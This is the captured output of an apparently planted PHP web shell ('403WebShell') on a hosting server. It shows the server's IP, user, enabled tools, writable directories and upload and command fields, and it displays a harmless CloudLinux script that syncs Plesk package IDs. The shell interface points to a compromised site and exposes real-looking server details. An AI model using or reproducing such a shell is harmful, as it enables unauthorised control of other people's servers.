Uname:Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 185.143.233.238  /  Your IP : 185.215.232.195
Web Server : Apache
System : Linux 81-12-52-146.cprapid.com 4.18.0-553.76.1.lve.el8.x86_64 #1 SMP Wed Oct 1 16:05:07 UTC 2025 x86_64
User : noavaranesama ( 1039)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/cloudlinux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cloudlinux/plesk_sync_package_id
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2022 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

from sys import exit

import cldetectlib
import clcontrollib
from clveconfig import ve_config


def main() -> None:
    panel = clcontrollib.Plesk()
    packages = panel.list_domain_packages_with_id()     # reseller, package, id
    packages = {(x[0], x[1]): x[2] for x in packages}   # Dict[Tuple[str, str], int]
    xconfig, _ = ve_config.get_xml_config(use_cache=False)
    for el in xconfig.getElementsByTagName('package'):
        if el.getAttribute('plesk_id'):
            continue    # ignore packages with ids set
        name = el.getAttribute('id')
        res = el.getAttribute('reseller') or 'root'     # admin's packages in plesk has no reseller attr
        package_id = packages.get((res, name))
        if package_id:
            el.setAttribute('plesk_id', str(package_id))
    ve_config.save_xml(xconfig)


if __name__ == '__main__':
    if cldetectlib.is_plesk():
        main()
    else:
        print('Should be run only with the plesk panel')
    exit(0)

Youez - 2016 - github.com/yon3zu
LinuXploit